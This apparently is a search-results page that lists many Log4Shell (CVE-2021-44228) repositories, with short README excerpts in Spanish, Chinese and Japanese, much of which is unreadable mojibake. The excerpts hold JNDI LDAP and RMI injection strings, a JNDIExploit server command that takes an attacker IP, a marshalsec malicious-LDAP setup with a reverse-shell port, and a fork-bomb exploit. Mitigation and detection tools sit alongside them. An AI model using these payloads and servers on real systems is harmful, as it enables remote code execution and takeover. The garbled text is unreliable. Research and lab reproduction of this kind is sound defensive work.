34 matches found
Apache-Log4j-POC
Apache-Log4j-POC CVE-2021-44228 Prueba de concepto de la vulnerabilidad de bĆŗsqueda LDAP de Apache Log4j Puedes leer mĆ”s sobre la vulnerabilidad aquĆ: https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ ĀæCĆ³mo ejecutar el servidor ldap proporcionado que devuelve un objeto...
log4j2-CVE-2021-44228
ē¤ŗä¾ Log4j2 ęåę»å»ēåŗēØēØåŗ CVE-2021-44228 åå½±åēę¬ļ¼ä» 2.0-beta9 å° 2.14.1 ēęęēę¬ ę¤åŗēØēØåŗåŗäŗęå CVE-2021-44228 ę»å»ē Spring Boot Web åŗēØēØåŗć å®ä½æēØ Log4j 2.14.1ļ¼éčæ spring-boot-starter-log4j2 2.6.1ļ¼ć čæč”åŗēØēØåŗ čæč”å®ļ¼ root@kitploit: Import the project in Java IDE as a maven project Run CVEMainApplication.java as a spring boot...
CVE-2021-44228
Comprobador de CVE-2021-44228 Este es el repositorio para comprobar la vulnerabilidad CVE-2021-44228. Esto es una PoC que solo muestra cadenas sin ninguna carga de clase externa. No se puede utilizar para la ejecuciĆ³n arbitraria de cĆ³digo. ĀæCĆ³mo funciona? Paso 1: Ejecutar la aplicaciĆ³n del servid...
CVE-2021-44228-Demo
CVE-2021-44228-Demo å©ēØ CVE-2021-44228ļ¼éčæ RMI å LDAP äø¤ē§ę¹å¼čæēØę³Øå „ä»£ē ēē¤ŗä¾ć root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer å LdapServer åÆåØä¾čµ Python3ć ...
test-44228
test-44228 éåƹ CVE-2021-44228 ēē®åē¤ŗä¾ å®ē°äŗäø¤äøŖ Java CLI ēØåŗļ¼äøäøŖä½æēØ log4j v1.xļ¼å¦äøäøŖä½æēØ log4j 2.xļ¼ēØ仄ę¼ē¤ŗ log4shell ę¼ę“ć å¦čÆ·åé ļ¼ https://www.lunasec.io/docs/blog/log4j-zero-day/ https://www.oracle.com/security-alerts/alert-cve-2021-44228.html ä½æēØę¹ę³ ååØę¼ę“ē Log4J2 1. åØęäøŖęå”åØļ¼localhost ęčæēØļ¼äøåÆåØēå¬åØļ¼ä¾å¦ļ¼ root@kitploit: $ sud...
ModSec-log4j2
ęµčÆ ModSec č§å åęę”件 å·²å®č£ Docker å·²åØę¬ęŗå®č£ Java ę§č”ęµčÆ å éä»åŗ ę§č”仄äøå½ä»¤åÆåØ WAFļ¼ModSecļ¼åęåę»å»ēåŗēØ root@kitploit: docker stack deploy -c docker-compose.yml WAF č§£åä»åŗäøē JNDIExploit.v1.2.zipļ¼čæå „ę件夹并ę§č”仄äøå½ä»¤ļ¼å ¶äø $IP åŗäøŗę¬ęŗ IPļ¼äøå»ŗč®®ä½æēØ 127.0.0.1 root@kitploit: java -jar ./JNDIExploit-1.2-SNAPSHOT.jar -i $IP -p 8888 č¦ęµčÆ RCEļ¼čÆ·ę§č”äøé¢...
CVE-2021-44228-PoC
CVE-2021-44228 Log4Shell Prueba de concepto Las funciones JNDI de Apache Log4j2 =2.14.1 utilizadas en la configuraciĆ³n, los mensajes de registro y los parĆ”metros no protegen contra LDAP controlado por el atacante y otros endpoints relacionados con JNDI. Un atacante que pueda controlar los mensaje...
CVE-2021-44228-Apache-Log4j
CVE-2021-44228 EjecuciĆ³n Remota de CĆ³digo en Apache Log4j Versiones afectadas: todas las versiones desde 2.0-beta9 hasta 2.12.1 y desde 2.13.0 hasta 2.15.0 Avisos / Boletines de seguridad vinculados a Log4Shell CVE-2021-44228 Uso: 1. Descargue el proyecto y compile InjectClazz.java root@kitploit:...
log4j-exploit-fork-bomb
log4j-exploit-with-fork-bomb š£š„š Proof of Concept: å©ēØ CVE-2021-44228 ę¼ę“åØčæēØęå”åØäøåÆåØ fork bomb ēē¤ŗä¾ 1. åå»ŗę»å»č ē LDAP ęå”åØļ¼server ęØ”åļ¼ļ¼čÆ„ęå”åØå°ęä¾åē¬¦äø²å代ē ēč”Øē¤ŗļ¼payload ęØ”åļ¼ 2. åå»ŗå害č ē¤ŗä¾ļ¼victim ęØ”åļ¼ļ¼å¹¶å°åē¬¦äø²ä¼ éē» Log4j JRE ēę¬ = 6u211, 7u201, 8u191 å 11.0.1 root@kitploit: $jndi:ldap://127.0.0.1:1389/anything...
log4j-cve-2021-44228
Log4j CVE-2021-44228 ććć³ CVE-2021-45046 åęę”件 čå¼±ćŖJDKćä½æēØćć¦ćć ćććä¾: JDK 1.8.0181 ä½æēØę¹ę³ ęŖęć®ćććµć¼ćć¼ ęŖęć®ćććµć¼ćć¼ćÆ仄äøć®ćØć³ććć¤ć³ćććććć¤ćć¾ć: 1389 LDAPćµć¼ćć¼ 1099 RMIćµć¼ćć¼ 8081 HTTPćµć¼ćć¼ root@kitploit: ./gradlew :malicious-server:bootRun čå¼±ćŖć¢ććŖć±ć¼ć·ć§ć³ čå¼±ćŖć¢ććŖć±ć¼ć·ć§ć³ćÆć8082 ć«1ć¤ć®HTTPćØć³ććć¤ć³ćććććć¤ćć¾ćć root@kitploit: ./gradlew...
CVE-2021-44228-Log4Shell-
CVE-2021-44228-Log4Shell- Pruebas de penetraciĆ³n 1. Crear un servidor LDAP malicioso usando Marshalsec !/bin/bash Script: startldapserver.sh YĆŖu cįŗ§u: CĆ i Äįŗ·t Java vĆ Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" ech...
log4shell-exploitation-lab
Log4Shell ę¼ę“å©ēØå®éŖēÆå¢ļ¼CVE-2021-44228ļ¼ åØéē¦»ēå®éŖēÆå¢äøē«Æå°ē«Æå¤ē°äŗ Log4Shell ę¼ę“ļ¼ä»ęåēę¼ę“å©ēØå°å®ę“ēäæ®å¤ę„åćčæęÆäø Aditya Chaudhari åä½å®ęēē”士čƾēØä½äøēäøéØåļ¼å¹¶å ±åę°åäŗäø份čåę„åć ęęåēå·„ä½ åØ Docker 容åØäøęå»ŗäŗäøäøŖåŗäŗęåę»å»ē Log4j ē Tomcat Web åŗēØēØåŗ ē¼åäŗäøäøŖ Python čę¬ēØäŗēęę¼ę“å©ēØč½½č·ļ¼ē¶åęå»ŗäŗäøäøŖę¶ę LDAP ęå”åØåäøäøŖ HTTP ęå”åØę„ęä¾čÆ„č½½č· éčæåéē²¾åæęé ēę„ę¾åē¬¦äø²č§¦å JNDI ę³Øå „é¾ļ¼éåä½æēØ netcat ęč·äŗčæåēåå¼¹...
JNDI-Exploit-1.2-log4shell
JNDI-Exploit-1.2-log4shell č©³ē“° : CVE-2021-44228 ä½æēØę¹ę³ : root@kitploit: ----------------------------------------------------- java -jar JNDIExploit-1.2.jar -i AttackerIP -i, --ip Local ip address -l, --ldapPort Ldap bind port default: 1389 -p, --httpPort Http bind port default: 8080 -u, --usage Show...
log4shell-cve-lab
Log4Shell CVE-2021-44228 å®éŖēÆå¢ ę¬ä»åŗå å«äøäøŖååØę¼ę“ē Log4j 2.14.1 HTTP ęå”ļ¼ēØäŗå¤ē° CVE-2021-44228ć Sentinel äŗ 2026-08-27 å°čÆ„åŗęÆä½äøŗä»é¶å¼å§ēę²ē®±å®éŖēÆå¢čæč”äŗå¤ē°ćčÆ„ę¬”čæč”ēéč¦å±ę§äæēå¦äøļ¼ ę»å»č ę§å¶ē User-Agent åÆå°č¾¾ Log4j ēę„åæč®°å½ē¹ log4j-core å log4j-api åŗå®äøŗ 2.14.1 ēę¬ ę¼ę“čæč”åÆēØäŗ com.sun.jndi.ldap.object.trustURLCodebase=true...
log4j-jndi-be-gone
log4j-jndi-be-gone äøäøŖåŗäŗ Byte Buddy Java agent ēäæ®å¤ę¹ę”ļ¼ēØäŗ CVE-2021-44228ļ¼å³ log4j 2.x ē "JNDI LDAP" ę¼ę“ć å®åäø件äŗļ¼ ē¦ēØ jndi: ę ¼å¼åē¬¦äø²ļ¼"lookups"ļ¼ēå éØę¹ę³å¤ēåØć å System.errļ¼å³ stderrļ¼č®°å½äøę”ę¶ęÆļ¼č”Øęåēäŗ log4j JNDI å°čÆļ¼å ę¬å°čÆēę ¼å¼åē¬¦äø²ļ¼å ¶äøä»»ä½ $ åē¬¦åč¢«ęø ē仄é²ę¢ä¼ éę³Øå „ļ¼ć å°ę ¼å¼åē¬¦äø²č§£ęäøŗę„åæę¶ęÆäøē "log4j jndi disabled"ļ¼ä»„é²ę¢ä¼ éę³Øå „ļ¼ć ä½æēØę¹ę³ å°...
detect-log4j-exploitable
CVE-2021-44228 å½åÆēØę¶ęÆę„ę¾ęæę¢ę¶ļ¼č½å¤ę§å¶ę„åæę¶ęÆęę„åæę¶ęÆåę°ēę»å»č åÆ仄ę§č”ä» LDAP ęå”åØå č½½ēä»»ę代ē ć ę¤čę¬å°åø®å©ę£ęµę£åØčæč”ēčæēØäøē log4j ę¼ę“ćå®ęå©äŗåē°ē³»ē»ęÆå¦åÆå©ēØļ¼čę éå®é å©ēØčƄ代ē ć å®å°å°čÆč·åä½æēØ java ēčæēØļ¼å¹¶ę£ę„ log4j-core ē»ä»¶ć ę³Øęļ¼čÆ„čę¬ä½æēØ bash ē¼åļ¼å¹¶äøéč¦äø¤äøŖå ļ¼zipćunzipļ¼ęč½čæč”ć åčļ¼ MITREļ¼https://vulners.com/cve/CVE-2021-44228...
CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated-
CVE-2026-21011 ā čŖå®ä¹ę„åæč®°å½åØäøē Log4j å¼ JNDI ę³Øå „ļ¼ęØ”ęļ¼ ēØåŗ代ē ļ¼ēØ Python ęØ”ę Java ēē¤ŗä¾ļ¼ root@kitploit: log4jsim.py - Custom logger that evaluates $... patterns import subprocess, re def logmessage: Vulnerable: looks up JNDI-like syntax and executes pattern = r'$\jndi:.+?' for match in re.finditerpattern,...
homelab-CVE-2021-44228
Homelab: Log4Shell CVE-2021-44228 in Apache Solr Docker ć«ććē®”ēē°å¢ć§ćApache Solr ć«ććć Log4Shell čå¼±ę§ć®åē¾ćØå¦ēæćč”ćć¾ćć ē°å¢ ćæć¼ć²ćć solr-lab: Apache Solr v8.11.0 vulhub/solr:8.11.0 ć§ćčå¼±ę§ć®ćć Log4j ćć¼ćøć§ć³ćå®č”ććć¦ćć¾ćć ę»ęč kali-lab: nmapćcurlćnetcat ćććŖć¤ć³ć¹ćć¼ć«ćććåŗę¬ēćŖ Kali Linux ć³ć³ććć ć©ćć®čµ·åę¹ę³ 1. ć³ć³ććć®čµ·å...
log4j2-test
ComprobaciĆ³n de la vulnerabilidad de ejecuciĆ³n remota de cĆ³digo LDAP en Log4j2 2.14.1 CVE-2021-44228 š Probado en entorno Spring Boot 2.x Aviso de vulnerabilidad https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml: reduce la versiĆ³n de Log4j2 a una versiĆ³n vulnerable...
log4j-vul
log4j-vul Este proyecto solo tiene como objetivo mostrar la vulnerabilidad de Apache Log4j2 - tambiƩn conocida como CVE-2021-44228 Java: java version "1.8.0121" Compilar: from src folder javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java Ejecutar\Corre...